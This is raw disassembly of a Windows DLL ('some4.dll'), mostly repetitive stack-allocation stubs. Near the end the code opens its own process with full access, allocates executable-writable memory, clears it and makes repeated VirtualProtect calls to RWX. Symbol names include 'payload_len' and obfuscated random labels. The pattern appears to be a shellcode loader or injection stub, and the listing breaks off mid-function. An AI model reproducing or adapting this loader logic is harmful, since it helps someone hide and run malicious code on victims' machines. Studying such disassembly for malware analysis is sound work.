mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x19c8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x19d0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x19d8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x19e0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x19e8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1be8]
mov rcx, rsp
mov qword [rbp + 0x19f0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x19f8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a00], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a08], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a10], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a18], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a20], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a28], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a30], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1be8]
mov rcx, rsp
mov qword [rbp + 0x1a38], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a40], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a48], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a50], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a58], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a60], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a68], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a70], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a78], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a80], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a88], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a90], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1a98], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1aa0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1aa8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1be8]
mov rcx, rsp
mov qword [rbp + 0x1ab0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1ab8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1ac0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1ac8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1ad0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1ad8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1ae0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1ae8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1af0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1af8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b00], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b08], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b10], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b18], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b20], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b28], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b30], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b38], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1be8]
mov rcx, rsp
mov qword [rbp + 0x1b40], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b48], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b50], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b58], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b60], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b68], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b70], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b78], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b80], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b88], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b90], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1b98], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1ba0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1ba8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1bb0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1bb8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1bc0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1bc8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1bd0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1bd8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1be0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1be8]
mov rcx, rsp
mov qword [rbp + 0x1bf0], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1bf8], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c00]
mov rcx, rsp
mov qword [rbp + 0x1c08], rcx
call fcn.66182470
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1c10], rax
mov rsi, qword [rbp + 0x1d08]
mov rdi, qword [rbp + 0x1ca0]
mov rbx, qword [rbp + 0x1c98]
mov r14, qword [rbp + 0x1c90]
mov r15, qword [rbp + 0x1c88]
mov r12, qword [rbp + 0x1c80]
mov r13, qword [rbp + 0x1c78]
mov rcx, qword [rbp + 0x1c28]
mov rdx, qword [rbp + 0x1c20]
mov r8, qword [rbp + 0x1c18]
mov eax, 0x20
mov qword [rbp + 0x1680], rax
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1360], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1368], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1370], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1378], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1380], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1388], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1390], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1398], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x13a0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x13a8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x13b0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x13b8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x13c0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x13c8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x13d0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x13d8], r9
call fcn.66182470
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x13e0], rax
mov eax, 0x10
mov qword [rbp + 0x1758], rax
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x13e8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x13f0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x13f8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1400], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1408], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1410], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1418], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1420], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1428], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1430], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1438], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1440], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1448], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1450], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1458], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1460], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1468], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1470], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1478], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1480], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1488], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1490], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1498], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x14a0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x14a8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x14b0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x14b8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x14c0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x14c8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x14d0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x14d8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x14e0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x14e8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x14f0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x14f8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1500], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1508], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1510], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1518], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1520], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1528], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1530], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1538], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1540], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1548], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1550], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1558], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1560], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1568], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1570], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1578], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1580], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1588], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1590], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1598], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x15a0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x15a8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x15b0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x15b8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x15c0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x15c8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x15d0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x15d8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x15e0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x15e8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x15f0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x15f8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1600], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1608], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1610], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1618], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1620], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1628], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1630], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1638], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1640], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1648], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1650], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1658], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1660], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1668], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1670], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1678], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1680]
mov r9, rsp
mov qword [rbp + 0x1688], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1690], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1698], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x16a0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x16a8], r9
call fcn.66182470
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x16b0], rax
mov eax, 0x50
mov qword [rbp + 0x16e0], rax
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x16b8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x16e0]
mov r9, rsp
mov qword [rbp + 0x16c0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x16c8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x16e0]
mov r9, rsp
mov qword [rbp + 0x16d0], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x16d8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x16e0]
mov r9, rsp
mov qword [rbp + 0x16e8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x16f0], r9
call fcn.66182470
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x16f8], rax
mov eax, 0x40
mov qword [rbp + 0x1748], rax
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1700], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1748]
mov r9, rsp
mov qword [rbp + 0x1708], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1710], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1748]
mov r9, rsp
mov qword [rbp + 0x1718], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1720], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1748]
mov r9, rsp
mov qword [rbp + 0x1728], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1730], r9
call fcn.66182470
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1738], rax
mov eax, 0x30
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1740], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1748]
mov r9, rsp
mov qword [rbp + 0x1750], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1758]
mov r9, rsp
mov qword [rbp + 0x1760], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp + 0x1c38]
mov r9, rsp
mov qword [rbp + 0x1768], r9
mov dword [r8], 0
mov dword [rdx], 0
mov qword [rcx], 0
mov rcx, qword [sym.some4.dll_payload_len]
mov qword [rax], rcx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add rsp, 0x20
mov ecx, eax
mov rax, qword [rbp + 0x1c40]
mov dword [rax], ecx
mov r8d, dword [rax]
mov ecx, 0x1fffff
xor edx, edx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x1c48]
mov qword [rax], rcx
mov rcx, qword [rax]
xor eax, eax
mov edx, eax
mov r8d, 0x17
mov r9d, 0x1000
sub rsp, 0x30
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r11, qword [rbp + 0x1ca8]
mov r10, qword [rbp + 0x1cb0]
mov r9, qword [rbp + 0x1cb8]
mov r8, qword [rbp + 0x1cc0]
mov rdx, qword [rbp + 0x1cc8]
add rsp, 0x30
mov rcx, rax
mov rax, qword [rbp + 0x1c50]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x1c58]
mov rax, qword [rax]
add rax, 0x17
mov qword [rcx], rax
mov rax, qword [rbp + 0x1c60]
mov rcx, qword [rcx]
add rcx, 0x17
mov qword [rax], rcx
mov rcx, qword [rbp + 0x1c68]
mov rax, qword [rax]
add rax, 0x17
mov qword [rcx], rax
mov rax, qword [rbp + 0x1c70]
mov rcx, qword [rcx]
add rcx, 0x17
mov qword [rax], rcx
mov rcx, qword [rbp + 0x1cd8]
mov rax, qword [rax]
add rax, 0x17
mov qword [r13], rax
mov rax, qword [rbp + 0x1cd0]
mov r13, qword [r13]
add r13, 0x17
mov qword [r12], r13
mov r12, qword [r12]
add r12, 0x17
mov qword [r15], r12
mov r15, qword [r15]
add r15, 0x17
mov qword [r14], r15
mov r14, qword [r14]
add r14, 0x17
mov qword [rbx], r14
mov rbx, qword [rbx]
add rbx, 0x17
mov qword [rdi], rbx
mov rdi, qword [rdi]
add rdi, 0x17
mov qword [r11], rdi
mov r11, qword [r11]
add r11, 0x17
mov qword [r10], r11
mov r10, qword [r10]
add r10, 0x17
mov qword [r9], r10
mov r9, qword [r9]
add r9, 0x17
mov qword [r8], r9
mov r8, qword [r8]
add r8, 0x17
mov qword [rdx], r8
mov rdx, qword [rdx]
add rdx, 0x17
mov qword [rax], rdx
xor edx, edx
mov r8d, 0x17
sub rsp, 0x20
call sub.msvcrt.dll_memset
mov rax, qword [rbp + 0x1c50]
mov r9, qword [rbp + 0x1ce0]
mov r10, qword [rbp + 0x1ce8]
mov r8, qword [rbp + 0x1cf0]
mov rdx, qword [rbp + 0x1cf8]
mov rcx, qword [rbp + 0x1d00]
add rsp, 0x20
mov dword [r9], 0
mov qword [r10], 0
mov dword [r8], 0
mov dword [rdx], 0
mov qword [rcx], 0
mov rcx, qword [rax]
mov qword [sym.some4.dll_shoCdjttArOYzUSbQZv], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, qword [rbp + 0x1ce0]
add rsp, 0x20
mov rax, qword [rbp + 0x1c58]
mov rcx, qword [rax]
mov qword [sym.some4.dll_wleTYmzyhfPXCNsXAeo], rcx
mov rcx, qword [rax]
mov edx, 0x17
mov r8d, 0x40
sub rsp, 0x20
